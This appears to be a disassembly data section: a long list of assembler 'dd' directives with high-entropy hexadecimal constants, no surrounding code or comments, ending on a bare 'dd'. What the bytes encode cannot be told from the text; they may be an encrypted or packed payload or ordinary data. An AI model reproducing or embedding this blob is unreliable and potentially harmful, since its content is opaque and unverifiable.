dd 830A8AD5h, 6B18E303h, 0FA052C3Ch, 17205890h, 40234B95h dd 1FF5AD14h, 350F0D52h, 0C0820701h, 0CEA6E097h, 0AC630075h dd 7B0BB2D9h, 1603473Dh, 2346A783h, 0B0BD9134h, 3E02F5h dd 0E68150E6h, 3C0B3E79h, 0D6095Eh, 797733Dh, 3F6E866h dd 9AE7F3C8h, 7B8103FBh, 0CCA5E438h, 4C8F780Bh, 13D662h dd 0AF51F527h, 0B0C0974Ah, 7270B38Bh, 82C70084h, 6FE5DA9Dh dd 0B63E9667h, 0E8DD8081h, 0ABC86DA8h, 29C901Fh, 954EEF4Ch dd 8DF82714h, 25CB5D00h, 0E30C3604h, 1F07E68Fh, 648BC83Bh dd 0E89700C4h, 0AD39A5CFh, 68D2BA0Bh, 704580AFh, 5CE20367h dd 7600240Bh, 80C29804h, 0A100A6EBh, 489383DDh, 1CCD4302h dd 0DC77AC8Ah, 0EC7200DEh, 0D5492373h, 4EB6DD03h, 0F803C034h dd 9A2CE9h, 7A864E7h, 0B5426EEBh, 0CF597F00h, 419FFC2Ah dd 0F9DA0063h, 16C5D637h, 0AB12935Bh, 0FCC14535h, 0D0478C5Dh dd 9EFA37C0h, 0C77D0068h, 0FB87A3FDh, 46B878D2h, 31638033h dd 3726B817h, 79C813E8h, 0F7E20045h, 0A05AA41Bh, 0B700207Dh dd 0B5C6BE35h, 52CCF8h, 781B0489h, 69A4C35Dh, 64D33E07h dd 17809AFEh, 1C1FEB43h, 4096035Eh, 0C979BD95h, 29005848h dd 0EE4A164Bh, 0A47B10h, 3B0D8FCBh, 0EC499241h, 0EBD69100h dd 2F5BD113h, 367A59h, 9BF98552h, 2161CE22h, 0F710C3Bh dd 4184D587h, 0F2A079F1h, 1622FC8h, 3CCCDB88h, 305B8138h dd 0F00049FAh, 5F192844h, 0F5AC94A7h, 38DCB421h, 4FB0038Ch dd 48B19136h, 867319A8h, 0D4FB5600h, 6EA81102h, 3F9A0062h dd 3960FA24h, 5EE080F0h, 0D0B55C00h, 7AC40CADh, 0F81F0013h dd 92FD618Eh, 0BEE2EC9Ah, 4F0A5E09h, 81A800D1h, 125241BAh dd 9C3D82Ch, 58C19033h, 4BC07BE3h, 55268Fh, 3D7CDF6Ch dd 3107192Dh, 77295D00h, 0C1C2E40h, 5010C32Fh, 0F780B8EBh dd 840E61CFh, 21094355h, 0AA8F5C8Eh, 0E2B1C0F0h, 0A4BA20h dd 0BD63519Eh, 7CA4ED85h, 2E554F0Fh, 172D014Ch, 5570675Ah dd 33FA09C6h, 74C28A3Fh, 31FFCD00h, 150CC1F5h, 0EEBC999Ah dd 0D02500CAh, 0E96E3875h, 0E20097B2h, 0A0E3DC92h, 0DA6A08h dd 88435E25h, 44F5E68Bh, 0B19B0B00h, 0E4D91811h, 37070042h dd 0DB972F5Dh, 7B07504Ah, 525741DDh, 0A11806F0h, 18FF67D7h dd 66CF00CAh, 7D0E3F0Ah, 8B3AB6C4h, 0AF80DFD8h, 5F6A1F6Ch dd 0A3037900h, 5C75BEDFh, 40E6FEh, 5671F68Bh, 9CD7E2EFh dd 0A0F406E8h, 50212E05h, 2E80BC51h, 3C37F60h, 0CBBA988Eh dd 5AB86873h, 4202CA5Bh, 5EC726E0h, 0F3C9803Ch, 176CCDh dd 0B4C03264h, 534F4716h, 0A0199400h, 7D0DC5A2h, 0BAC0069h dd 83B626AAh, 4A3FAEF7h, 4BF9C47h, 874507CBh, 6D513CDFh dd 0E4E0EAD6h, 0C271C13Dh, 0DC729870h, 758E553h, 0A7850CBDh dd 77FC2176h, 68790082h, 0BDF01489h, 3500373Ch, 9F9175E7h dd 26D5C8h, 5D34FE6Eh, 3171B72Eh, 9D4D648h, 83FAC035h dd 0E006FCE0h, 0FAF3C336h, 0CD011F2Ah, 0C9F8C783h, 9C31F081h dd 0E9985439h, 0D00DB40Fh, 1DC4A0A7h, 5CBB5B32h, 3C3D536Dh dd 297FB380h, 610A69A8h, 535EAD00h, 0DCF8B96Ah, 49C50598h dd 0C0C13573h, 826DA36h, 0FFFB39h, 2D50B8FDh, 85AB38h dd 0E41B9702h, 0A1AE2753h, 0B5BDC30Fh, 511D3F01h, 83F7DB80h dd 1C8E3EEh, 0CAC3547Ch, 70F4FED5h, 0A15CE9D9h, 808B1DFBh dd 4016AD00h, 0A2535Dh, 0E208866Eh, 953836CEh, 891C8374h dd 7F402E58h, 375FD667h, 0E11601CAh, 0C44D5987h, 8EFF0D4h dd 55E31E00h, 0B70C0A9Bh, 3EC3F609h, 1600771Dh, 0F886F513h dd 0FD0071E1h, 2B45453h, 0F6CB37h, 910F56E5h, 8A381824h dd 0E4160AE4h, 5300346Ah, 9740BC8h, 0C4E93857h, 30BADB00h dd 7DD8F5E0h, 9B35AC00h, 0D621B08Bh, 14BC00DDh, 3158E576h dd 8A267933h, 0CC005C47h, 0A542D51Fh, 68C3075Bh, 603F3A51h dd 87846070h, 0BD479400h, 33D5C2A2h, 3A5909C4h, 8005C6Fh dd 2B211274h, 2F621A64h, 305A30C0h, 22B403CBh, 0A8AA9055h dd 20DAD289h, 0D50A5088h, 94354DF2h, 106DCF0Ah, 0E80054CAh dd 5B619293h, 7EDF0263h, 0AAF5196Ch, 0D46E0841h, 0DD601D66h dd 5C1F9630h, 8236007Ch, 78B22CB1h, 607437Fh, 0F74E7938h dd 31774BB0h, 3B8F0042h, 1CFF3A84h, 3D3070E5h, 5FB0B046h dd 53CD0EC2h, 0B4A01888h, 49B13409h, 0C52DE81Ch, 4A045A00h dd 43FC1Ch, 9C794F8Bh, 0D658FBE2h, 0A33920C0h, 0BC3A2h dd 128EAD6Ah, 27701E7Ah, 74515Ch, 3EEA865Fh, 120BBA18h dd 1C0DF76h, 4E8B71Ch, 0EAEE0D4h, 9000D77h, 1CAF2171h dd 0F4266E13h, 56A30CDEh, 0E898C03Dh, 0E407DFF2h, 0A50C11ABh dd 97FFE32Fh, 46CE0BDh, 8890C065h, 0AC9CA2F8h, 0D067923Ch dd 0BD3E19BAh, 806E389Bh, 0DFCB165Eh, 3D15B1h, 0B869BB41h dd 0F3AF0FDh, 0EA8F470Eh, 22AE032Ch, 46A80059h, 13E62002h dd 0EE0BF487h, 0A6820Fh, 0ADC85435h, 882F1EEBh, 3C20C077h dd 19F38774h, 1C49A100h, 9CB8C665h, 9D2500B5h, 80DA9DCh dd 59056FABh, 0E36B8DFDh, 9809E600h, 0C0389F1Fh, 0B120F0A8h dd 333E0230h, 89198FC5h, 7825C0FEh, 4837C78Eh, 0B81ECC4Bh dd 130380C0h, 0D3B7B1D6h, 0A7040600h, 0B529DD41h, 28576666h dd 0BF0418EAh, 0FFF8F2E6h, 9A776480h, 177D0020h, 9C2C8470h dd 33006415h, 1271CC72h, 522D7Fh, 9A9EEDD6h, 49396841h dd 0F4C73A04h, 4DC728A8h, 4B233E70h, 32AF0E7Ah, 9980C6F0h dd 6516C153h, 77701B00h, 273E0D09h, 6D0B0088h, 6834817Dh dd 0B0075774h, 42D79C28h, 0A95AA2C0h, 56BB1EE0h, 60794FB8h dd 3B4CC800h, 405283Ch, 9822EE24h, 20406F87h, 6389B7h dd 0F4BD03CEh, 0F246AC2Bh, 9E01F33Eh, 410FE6F6h, 88FA20F5h dd 7872E128h, 671C0583h, 10F055Ch, 6627F4D8h, 7610833Eh dd 0D04483EDh, 2BB3701h, 531218FEh, 0B8481A8Fh, 1979F8BDh dd 0B184FA50h, 3011BEEh, 1C2C380Dh, 5FE86E61h, 0F333146Ah dd 7400BC51h, 261A5997h, 931668B5h, 0D801F4AEh, 75287231h dd 28809E61h, 8514792Ah, 9A0732FBh, 0F0E22D29h, 0E0308E99h dd 7C7B5288h, 949E00DCh, 2B2AE0AAh, 35984F27h, 0F3E30900h dd 1982B731h, 0E8D03F23h, 13DAEE80h, 0C8038D57h, 80C3A43Ch dd 2E51A0BEh, 77B2B995h, 70C57C7Ah, 39BD00D5h, 6CAAC17Eh dd 0A9005DDCh, 0DDF19E9Bh, 4F59A0h, 0CDD5C0C8h, 2A5CB7B2h dd 97578C92h, 4D980390h, 0A872C131h, 0ACD6C6h, 0B5E6A8Eh dd 191C6770h, 1E72CFFCh, 0FCDAA700h, 902CE9A3h, 635A0951h dd 8C809104h, 61EB8780h, 31C7E4Ch, 1A3E9D4Fh, 0A46E000Dh dd 3FFB9C39h, 1101A9B8h, 67C12A5Dh, 443498F8h, 9046008Eh dd 514C83D8h, 5F09A968h, 5AB9B8h, 67F46F60h, 0C914C12h dd 9C39300h, 9B7BAA70h, 863A2270h, 204A008Fh, 2D285C8Bh dd 8620C76h, 6C1088EBh, 7F3F94B8h, 2F5600C5h, 40E9E80Fh dd 0E3DA0143h, 3516C002h, 3DC49C0Ah, 5A678D40h, 62C26A26h dd 827CA89Ah, 28A1CC68h, 347FAB00h, 76E5F9AEh, 0F618B8B2h dd 90988Ah, 71F75C62h, 170D205Dh, 0F92B6F07h, 0AC05B1Bh dd 287014h, 0DC916EFCh dd 0B3FDF3E9h, 842E0224h, 7C00F492h, 0FBE5D8F7h, 0CE1C0B57h dd 0D48096DAh, 2C82445Bh, 0C3AB6905h, 0BC000A93h, 0E059B0Bh dd 0FFE200B4h, 3335D3CBh, 6F3AD86Eh, 671E00DBh, 342539C6h dd 1A5C0079h, 3AADD2BAh, 66077ABBh, 1997592Fh, 9F3104C0h dd 0F3EC396Ah, 0AB829380h, 0A1DDBFF0h, 54FC66EAh, 0D17C20FFh dd 753AC000h, 0C63F41D4h, 0F6E02ACh, 42B535ABh, 0DCF5C140h dd 0F05FE018h, 0EF89E0h, 1BAD975Dh, 1331A7Bh, 0F215200h dd 0C828EFAh, 0E69E0AD1h, 0D5DE4Ch, 0F2F3F7E7h, 0AC1C55B5h dd 3000CBD9h, 0DABB8A0Ch, 68060093h, 549EFCF1h, 0E006656h dd 50E92170h, 7DE1CCh, 4D3E2F9h, 25EEFA9Eh, 85A848h, 0CF865CB9h dd 0E7F4BEh, 0CD34EA52h, 0F9D446FCh, 5224F00h, 8D021181h dd 1B410BF1h, 0E498E33Dh, 7C00E16Fh, 8ABEC97Eh, 0F8C49B09h dd 69F600F1h, 76247579h, 2998318Fh, 0BE17A000h, 323357D5h dd 4F7388h, 0AC768D9h, 0F18FAA95h, 5E2FA81Dh, 0E1C58039h dd 0E449ECBEh, 90B021Bh, 3DFABD46h, 8F89D840h, 1145F40Bh dd 0FF28AFCDh, 10020566h, 48049161h, 2EAF28E4h, 51B93Ah dd 8781C2FAh, 10016D8h, 0E6D6F1D5h, 0FB396h, 52242ED2h dd 1864719Dh, 6A3CD003h, 98E47E59h, 2AA128h, 0E06E2910h dd 9FADE955h, 612C1200h, 4A25506Dh, 0F3B0C14h, 36A04575h dd 1E0A3400h, 6FB1FD33h, 1B14BAB5h, 0C02BF50Eh, 2ACCAFC0h dd 4B9841Dh, 5737003h, 0E487E78Eh, 0CAA522C0h, 0F139000Dh dd 0EAD9B4C6h, 0CC009FE7h, 54091D46h, 1F4B150Ah, 403221F2h dd 0B42A0764h, 4963D870h, 0C8D4B960h, 60D328D9h, 70C3818Ah dd 69CAF95Dh, 0FA0F1004h, 19EA804Ch, 1323796h, 0E4DA5093h dd 80E79167h, 74A37E28h, 1A63B5h, 0E8D7CCD3h, 293816B4h dd 5EECB900h, 0DCA652A7h, 3DF00B01h, 0FB072EABh, 0F649C0EEh dd 0B42C2D63h, 7C00744Ah, 0F523581Eh, 795B1F45h, 6E8B09BDh dd 0E1DB6607h, 0F908CFA9h, 76EBC066h, 0FD10C900h, 2233B651h dd 0B4DD0017h, 2F2E6EABh, 0EC0067BAh, 69572C15h, 5AAAF9h dd 79804066h, 6C56D009h, 0D5942300h, 0F13A3370h, 3FF27Ah dd 0CBBF3C84h, 0D7307D93h, 8F4F030Ah, 68809485h, 948BC575h dd 9D651DE5h, 0C340AF72h, 0EF0047CDh, 7C835114h, 0AE32197h dd 33F0C1C4h, 934280ECh, 47AA1A6Fh, 1019179h, 371973CAh dd 619DB633h, 0ABDB00ACh, 78B18123h, 18842931h, 8BE07ADEh dd 897B3BF6h, 3031C072h, 94173E44h, 13E7CF0Eh, 8C8C00Bh dd 7B134D6h, 0D47A5EC5h, 47D419h, 14F83A89h, 0FE267678h dd 23FE4D9h, 91B531DEh, 5F4127D0h, 954880D5h, 0D9875053h dd 6C71C3B1h, 0C8B8AABFh, 730C6468h, 595A161Dh, 6B561D06h dd 0D2A00A8h, 7D67FA0Bh, 9883CF3Fh, 0A3C099B4h, 71EE58ACh dd 1D864600h, 87081332h, 88818501h, 144B3389h, 0A97A1180h dd 0E6D9BF57h, 58D55400h, 0D737E9E7h, 752C90E5h, 895600D8h dd 171C104h, 8500598Ch, 6D38D2D6h, 38091029h, 2160889Fh dd 6165F5BAh, 63036600h, 19A998FAh, 0BE0E0016h, 4AE86731h dd 5B0F0170h, 2DB0CFh, 6B689C99h, 0DF3501CAh, 53C9F28Ah dd 43D1FC5Bh, 6C187A03h, 7CB6E838h, 0F1A7960h, 92B4EC5Dh dd 28A96D61h, 80308045h, 0E3B94C1Bh, 2C3F0CEDh, 8411E0CAh dd 9208C200h, 0DF3CF14Bh, 1418C0EDh, 606D9FF4h, 44A3F01h dd 8CD982C2h, 0A64C4080h, 0F7AA9796h, 77A71300h, 6EBC9411h dd 75F23ECEh, 661092h, 0DBD13764h, 930CD2B6h, 40C8F858h dd 55B90088h, 5F721E26h, 0C90EF007h, 0A0738B05h, 0C4EF2869h dd 0F289C3EBh, 0B916416Dh, 191C3D40h, 7B46A383h, 0EA34C1EFh dd 88582883h, 0E4E82A6Dh, 3F072C6Ah, 82FEF2F7h, 81B10430h dd 36BE4BDh, 0AB6A0141h, 0BEE8D185h, 0F5002155h, 6F4F82CEh dd 0F8D0A30Fh, 386B60E9h, 0DC27B777h, 0F5B8941Eh, 0AB555100h dd 0C4B175Bh, 3B36F0D6h, 21C0A708h, 0E8AB4E8Fh, 968701A3h dd 80950984h, 0BEACFD1Dh, 1402BA58h, 7D4CCEF9h, 35556803h dd 0C010A00Fh, 0DF7032h, 4DE82CDh, 41D5CC23h, 7D079401h dd 6C8AEB6Eh, 0F2661080h, 0BFE423F7h, 48B521C0h, 3E7DFF83h dd 0D580BC36h, 0C03C442Eh, 3B39EEE8h, 762500D1h, 969ECE03h dd 1B1C0080h, 2A7FF70Ah, 6700D909h, 59CC9202h, 0F65778BEh dd 0C9D5007Dh, 0C3A98FE9h, 911FB7ACh, 0FBEBE5h, 0BC95D45Ch dd 2E2761CBh, 602080h, 799F3C0Ch, 0FF04BF25h, 0A1941EFEh dd 4D7AB1C0h, 0C8400F2h, 0BFB6DD6Dh, 4C3E2AF9h, 0EC5780A0h dd 0F1268CE7h, 7412732Dh, 888907F0h, 0B006AF3Bh, 69F48367h dd 98485E1Fh, 0C947AECFh, 8585808Ch, 19787570h, 877F14Dh dd 83AE0EF2h, 87EE5D9Ch, 856B90C0h, 229A00B6h, 4BC56E5Ch dd 3200A4EAh, 139C0D4Dh, 19B05615h, 29E0B793h, 20DD0820h dd 0F742480Bh, 21FB8C11h, 77F30C04h, 7184BB51h, 6FA888F7h dd 1169938Bh, 110F5F29h, 6C28F93Dh, 0C83A7028h, 84EC379h dd 28D0BBF5h, 29036446h, 90D52127h, 116CD411h, 798844C6h dd 988812EBh, 29F89AE3h, 17655F60h, 5E3BE600h, 33E0AE60h dd 0D07019h, 0E9921B51h, 0F5131A64h, 26851000h, 0A16C660h dd 86F46Ah, 98BB611Fh, 0B0096307h, 30548E00h, 0D38B51EEh dd 749D0012h, 2C87909Fh, 0A500165Ah, 3968DBFEh, 3D9ACD0Eh dd 0F93BA626h, 22469B00h, 778E8998h, 48C9F600h, 5C45D60Eh dd 0E29500B5h, 0E81ADEA7h, 18EEEB8Fh, 6B26690Eh, 5DD2A022h dd 76728163h, 849000F7h, 4CDA75B9h, 0CB0C7B1Bh, 46D15247h dd 0E25F0007h, 8275BCE1h, 0F008668h, 990DAFC6h, 0E347C0h dd 27495245h, 40971AD0h, 0FE65C06h, 0F3307460h, 526DD0h dd 0FCFD1D8Eh, 59A3EF2Ah, 30380E00h, 27EB8C47h, 13281784h dd 2C3B0E5Fh, 91E5E444h, 804ACA54h, 0E0A823D4h, 0A73140h dd 6240C1Eh, 17D32153h, 0F76FCF18h, 0B0D4B5E0h, 9D630724h dd 8CE2AD52h, 310379A8h, 3A0880A3h, 8E91C940h, 3C2BECh dd 0FA8AF119h, 17C4594Ch, 0A4D03803h, 0F09299C6h, 9345A2h dd 72DBD43Eh, 828B5C2Fh, 0A4476424h, 5AE61800h, 0AC6056h dd 30C1960Ah, 6E1DD739h, 4B2CD500h, 10D63D87h, 8E0A00C6h dd 58463A82h, 0F91D1EC8h, 0D3472FECh, 11603D94h, 9A112CBh dd 1D4E8859h, 37DC2E00h, 4F00F781h, 0E8542017h, 66676Ch dd 987FD194h, 0CB2E8BC2h, 0C8035270h, 3DFB6BFCh, 0E8BFF3EBh dd 0A50A18h, 41720F7Dh, 625B6A64h, 5891161Eh, 8BDDE440h dd 0E0C5A71Bh, 1E847E56h, 40EF5F0Dh, 7C076885h, 72014148h dd 6C9453B6h, 2AC4A6D2h, 7D3F00ECh, 0C4213882h, 8738CCF1h dd 7CDE8028h, 7ED33E08h, 689900A1h, 344F6F03h, 0AD007680h dd 0E778B0B6h, 2E753FCEh, 0E554AAh, 0E2872374h, 0BE004B81h dd 0AEED782Bh, 0D8B7CFh, 0BDA1FFC0h, 45957A64h, 0F0C61730h dd 0AE0B96h, 49207E52h, 6BB1F957h, 952C8E01h, 5E94E4A4h dd 202052E1h, 0FD22004Ah, 46C3CBC2h, 5A0E4338h, 6085BFC8h dd 1F4A3339h, 3CC100FCh, 2DFDB80Dh, 0DB1C7108h, 0FEC34125h dd 0B87E092Eh, 9F13DC5h, 3A6B0698h, 0D613D800h, 0A91F3843h dd 3443F27Eh, 90A7015Eh, 24F15D55h, 0FCB9E6h, 857F72B8h dd 64001AA0h, 0F7928E05h, 24F53F68h, 1E1CFC7Ah, 0AFF44001h dd 0A51315F0h, 0CB10BA00h, 2D479AADh, 0AC6C1C56h, 95F980D1h dd 0B4280E97h dd 0FDC2D300h, 0AD185B37h, 0E3890088h, 0CF1530F9h, 0BC122BCCh dd 0CC0EF86Dh, 0BE902093h, 36FEAFEh, 0A20250FDh, 20B6DDE0h dd 558D3E00h, 0D338B377h, 0FA0D38F5h, 0B7780778h, 0B6A91C3Ch dd 5300A809h, 24FB15Dh, 0C07AA6h, 0F906E035h, 3D4B64C4h dd 0E40838h, 0F372B6ABh, 1277547h, 6091878Ch, 0D1A1A622h dd 58C02ED9h, 1E2559CAh, 980AEBEh, 8A5D6312h, 0BA0079DFh dd 2D1706A2h, 2BCB072Fh, 5E4D3EC4h, 7776200h, 0B57A434Bh dd 0CF1DE600h, 2A0E6E92h, 9672008Ch, 0DDC417DCh, 8098DF54h dd 0D3FE0C78h, 8EDAD600h, 6B74D151h, 284300B3h, 848227F6h dd 9825A575h, 0AA0460C0h, 39810A05h, 9061AEh, 0A6ED9FF7h dd 0FD079699h, 0B3B28F2Ch, 0BA9ED870h, 728E0012h, 17FF0E83h dd 2179F2F5h, 0A939C107h, 201C11A2h, 74F24Ah, 0A31801C4h dd 0ED98A71Eh, 7533B800h, 258B1678h, 0F2D4EC13h, 8C9700ECh dd 0F73C527h, 1600EF36h, 0A6C6248Eh, 784CA3h, 6CE4544Eh dd 0C74FABDAh, 0E57C5278h, 5ADD939h, 6FBD8F0h, 4D3C1C80h dd 0FF71DCCh, 37BC0709h, 0ADB310D4h, 260219ECh, 5BC75496h dd 33F080FFh, 774D836h, 4F76DC50h, 0ACB46FA6h, 0EBE491Fh dd 3AA093C7h, 0F3CAE165h, 0A33E7103h, 993B8612h, 0FEF834DFh dd 91FF005Fh, 2CCCE7A4h, 2B0FE90Eh, 0FD7A7BB4h, 96B9B89h dd 0E0302ECCh, 0E6CA310h, 0E0C40EA1h, 0C0DC9574h, 0E81D4331h dd 2B00079Fh, 99E70AC7h, 9BCF04Ch, 469FBE6h, 13302A00h dd 3A79AFA7h, 0A4D5E100h, 6FBCC026h, 0B0C3776Ah, 3DC0C71Bh dd 9EE0AE12h, 0BB3CCE91h, 40336F0h, 0DC1F931h, 0D22900AAh dd 9ED4295Bh, 0AE0309C2h, 7A316C95h, 20F0C88Ah, 5DA400B0h dd 141CB42Dh, 0DB0BC3A9h, 32B56822h, 60B26018h, 0E5F8041Ch dd 8094477Ah, 5B9EBB24h, 2C393B1Eh, 4305DD87h, 0C54578B1h dd 7180A20h, 7031D46Eh, 0A0E0AFB5h, 9CB2ACC3h, 0B9AADC00h dd 31E96C18h, 88151FF8h, 0D037C13Eh, 0C4A3796Fh, 57002668h dd 9533CCD3h, 9067CEFEh, 15760018h, 8DDBA93h, 0F8BF398Bh dd 0BE2D0F55h, 22401E6Bh, 0C49178F6h, 81A8651Ch, 0F36E2E40h dd 5825E390h, 2D00E804h, 1513848h, 8F008ABBh, 97EB9614h dd 984B5F5Dh, 0B7E79B4h, 8D5909E9h, 668FDDh, 0D65303F7h dd 7CEF0E4Ah, 0A008C93h, 50AB4942h, 6875CC00h, 0B0477FFEh dd 0FD600B5h, 3CB9FC69h, 0A826BC21h, 1F00B432h, 2F3D9C02h dd 0F46C0762h, 0D0F0814Bh, 286FBE08h, 8073443Bh, 260FA07Ah dd 0B60B4Eh, 0ADCA3A2Eh, 60EFE052h, 0D16FBF01h, 0D4DC6635h dd 909B21E8h, 0B3B000F8h, 0A313CF58h, 0A4001140h, 8F238B29h dd 833691h, 1D352A4Dh, 3FE33328h, 68389517h, 97404A1Ch dd 0B10692C0h, 0D3A00CEh, 73D684A5h, 0E33EF335h, 489A3050h dd 0BDA3AEh, 0BE53CE26h, 3A9D5601h, 0CB8A2300h, 0E22757D4h dd 0E0AD1672h, 356F0077h, 2F140CB6h, 59A54100h, 5EE83823h dd 81220078h, 8BB4C83Ch, 38C018EBh, 2D4CD9B3h, 368E000Fh dd 214AB7A0h, 0B61F96D1h, 8A16C9CAh, 4063EE0Eh, 802A3DDEh dd 7466008Bh, 9BADAACBh, 0F03EE34h, 2529EF5Eh, 0CA5900AFh dd 0E84D0743h, 4E018797h, 0E9F28EC6h, 29D0A0D8h, 0E2F900A5h dd 0CAF5FE7Ch, 8B1F56F7h, 0D6800916h, 12F0173Eh, 75A427F3h dd 0AEA086F8h, 0EB148F29h, 900BF9h, 7D364384h, 0EA23C1AFh dd 0E94100E6h, 0F3B84FF2h, 44B806BFh, 6D6B1400h, 0FED9168Eh dd 0A3423BD7h, 1DE24817h, 87A485ECh, 0D0B00089h, 39EDDA51h dd 0F3A58E00h, 0BFBE38CCh, 8FFE0091h, 0BC96BAA4h, 58904FB6h dd 0C10CD600h, 0A17E171h, 5CD77883h, 0DC00A1CFh, 0DD58775h dd 89868C0h, 88E9B102h, 40326D35h, 5CEA8EAEh, 3C002B7Dh dd 7A54F39h, 764840B3h, 0BAE70B58h, 0DF0C9237h, 0E545F00h dd 7138AE2Bh, 0FEEBB84Bh, 50D07601h, 0E1CF17EDh, 775FFCh dd 1CCAB072h, 0C6A90274h, 0F867F230h, 987046h, 0C0E7C1F7h dd 0FFBF14F1h, 0ABCB5F00h, 787B9E42h, 0ACA9500Ch, 39480074h dd 0DDFD222h, 651FF2CEh, 82403B1Bh, 138D0668h, 17CC387Eh dd 0FC13D00h, 0F5DE6DC5h, 0D6369600h, 0B3B59156h, 449907F9h dd 84CB8EEEh, 808CC4F0h, 0DE199FE4h, 0FEA80E00h, 718960E2h dd 7F1F006Bh, 24F57287h, 0C270A609h, 4BD85401h, 0D670BB63h dd 216C60h, 0F3E6BFDh, 0D4A117F7h, 7BF2DB00h, 3C1B9EEBh dd 287E006Eh, 4D8F958Bh, 5000B61Eh, 0B285CED1h, 264BB886h dd 0AC61B7h, 0C1F2CD30h, 4A03F7E2h, 0D3CE3E27h, 58101EC5h dd 8385413Ch, 0F47DA14Fh, 110010C2h, 99614D25h, 5014E8h dd 3E3F5681h, 456F6786h, 4D8DA800h, 3B58D0A2h, 2DF400F5h dd 0B235B90Ch, 0B801B4C1h, 0E355AC2Ah, 67F54E3Ch, 0E6779C70h dd 3B88027Ah, 315445D4h, 0D7F5037Dh, 1481ED89h, 0D8EC0CECh dd 0F70A00F4h, 8B344A69h, 0B000BC0Dh, 0ACCAB241h, 6094B6F0h dd 0C4CC3031h, 0FB4861D6h, 44EC739Ah, 59D73516h, 0B50B6900h dd 1DBE5E83h, 0D95441h, 0C7FFC88Bh, 74018284h, 47E54E39h dd 40802CF8h, 0CE1B942Fh, 0A001176h, 7174B56Dh, 1544F41h dd 66127A77h, 0ECEF4BE4h, 0B7E8997Dh, 0AC5BE024h, 0CA0AD007h dd 0F2C726A4h, 0C26A5F20h, 3BBF2BFh, 0AC9BD8DDh, 86B0B898h dd 1C981913h, 41836E00h, 0A4E53AC1h, 29CA00CBh, 0F40196B6h dd 90986557h, 0C181AE00h, 0B432F8A2h, 79D018Ch, 750EC479h dd 4ECCF0CEh, 83094BEAh, 8F36E05Ch, 0DA47C034h, 2CA93BEh dd 31F26DB2h, 0A8592A82h, 80D8F614h, 6DB7A6B3h, 8223008Fh dd 2088FA54h, 0FF00A9D9h, 280CFC90h, 0A2E880h, 4BBA3B01h dd 0B4B013F7h, 807D1F3Ch, 48F5C8B3h, 7FFDC4h, 4AD3493Ch dd 7A6E0B18h, 4DB42A05h, 7DC012F2h, 2C21CFh, 0A10D6D17h dd 3326309Ch, 0C6B9300h, 76B21102h, 6DD00FDh, 192E8468h dd 0D7012CF1h, 2F796931h, 91ECEB15h, 90AC00ABh, 0E9D6D0BDh dd 457382EAh, 61B2AE00h, 0B05EEB54h, 0C3600FDh, 11BC2772h dd 0DB0046C3h, 2899AE8Ch, 535AB4h, 3FFAC958h, 88442BF9h dd 0E4073C90h, 0ABF3D5B3h, 0E00B8A52h, 1245D1F4h, 14A086Eh dd 98B67688h, 8BDBE06Fh, 5551AD60h, 0B3A5A8h, 3D5B1350h dd 0DBB2738h, 4A00BDE2h, 0D155CB2Fh, 220EA87h, 0F3292B47h dd 78D8AC84h, 6E0097EEh, 27708B46h, 8C54AEh, 0CC1D9639h dd 0CB16F77Ah, 730083F6h, 3281B769h, 0D35668h, 1AA5EE59h dd 0A2FF1628h, 4B1E3B06h, 0EB8FA5Ah, 24D71FD8h, 1058B467h dd 0C1B8972h, 0FDCB1701h, 573E1D12h, 28617430h, 61BDB786h dd 66411059h, 108C2D1Ah, 2F8126A6h, 60E6B3D6h, 5700B728h dd 7A55F354h, 1AB8151h, 0C7E02C36h, 407B30A8h, 83D17EFCh dd 501F142Ch, 0AA061926h, 7F40C6F0h, 1040533Bh, 43DFA01Dh dd 34305612h, 746D1080h, 8B203B1Ch, 9FB5AF45h, 0D62CB800h dd 4A21B87h, 9CA9BDD1h, 0CCD880EDh, 0FA006C76h, 0D81DEE09h dd 0EE8587AEh, 0FFCB0127h, 0AAB0EB9Fh, 48C7019h, 8B6D9B3Ah dd 80B99C43h, 7977531Ch, 30C1077Eh, 3057BA05h, 1E50E6F7h dd 16000B72h, 88354A8Ah, 2EBC816Ch, 9C0225h, 5C7FEDF2h dd 8C3CFD8Bh, 9F770048h, 2F295AE3h, 36EA96h, 0C93D25A9h dd 88D23341h, 6FB1E000h, 8D2C480Bh, 0EE60E306h, 0ABEE0046h dd 2DB61151h, 0F914733Dh, 0E8E039h, 220FD74Ch, 48D321AEh dd 0F100694Dh, 0BD1F87C0h dd 0E9005F91h, 0E4ED2405h, 7640B3Eh, 0CABEF75h, 0B482F2D9h dd 78DAF140h, 27767000h, 4FC56F99h, 0EF5938A8h, 0E6A7970Fh dd 0AC68B7C0h, 8F074EE8h, 3395B906h, 72DFC8B0h, 251B0088h dd 97D6344h, 5D3DE213h, 0E7E48011h, 3C4A17D0h, 580F3C34h dd 4C00183Ch, 5B46313Eh, 49F0D5E8h, 0EEEB5301h, 0E0B19FD1h dd 4CF7AAD4h, 0B20065A4h, 0F9A924EDh, 7E007012h, 0B904760Dh dd 30BF2ACh, 0FF99F1FCh, 6390FB42h, 92000CF5h, 0D5BEA8CBh dd 9389BCh, 1C373462h, 795A815Ch, 0B8035900h, 5E3E7B08h dd 7AD826DCh, 6A360007h, 959BA898h, 0F373DD00h, 0CB8AF841h dd 9D1E0035h, 5E1704FDh, 0A601EDB6h, 1677F151h, 508082C0h dd 3AFA6554h, 5D1D737Ah, 0F5C04839h, 38A7604Ah, 1C6A0EBBh dd 0E0034193h, 0E0B7A9E7h, 78C77F9Eh, 0C1157C18h, 0F42A4549h dd 0B91C0752h, 0F031ED66h, 2D0EF8B5h, 0E2046403h, 0C0637048h dd 2494A01h, 0F5372BC0h, 2CE0E5B0h, 0D0077E1h, 540BB564h dd 0E98DDCEh, 0B855F238h, 0C5049DE0h, 401F89DBh, 9700883Ch dd 42EAD571h, 29930013h, 21CCCD50h, 1401608Ah, 0FF11B2C7h dd 34E8A338h, 70903EDBh, 0C05DD980h, 7AE4CF5Ch, 0AF070890h dd 51829F38h, 6501A8A1h, 1DAE04CCh, 3C061073h, 0DEE44801h dd 0F4FC6751h, 5731B687h, 0EC5A88E0h, 0BAE85FD5h, 0F9798Dh dd 0FDFB73F2h, 0C6CB5CB5h, 0EFCF8A00h, 53D8E481h, 768901CDh dd 7505C7B8h, 4408200Bh, 0DA7A9500h, 9BAF872Ah, 81691D1Ch dd 401B1D25h, 936380A2h, 1700706Eh, 2F34D3C3h, 3714C9E4h dd 30B0B68Eh, 125ECF43h, 0C69EBB0Fh, 58CD00A9h, 0EAF4041Ch dd 344000B4h, 0F0EECF5Eh, 0FF001986h, 2B35C24Bh, 7E87FCh dd 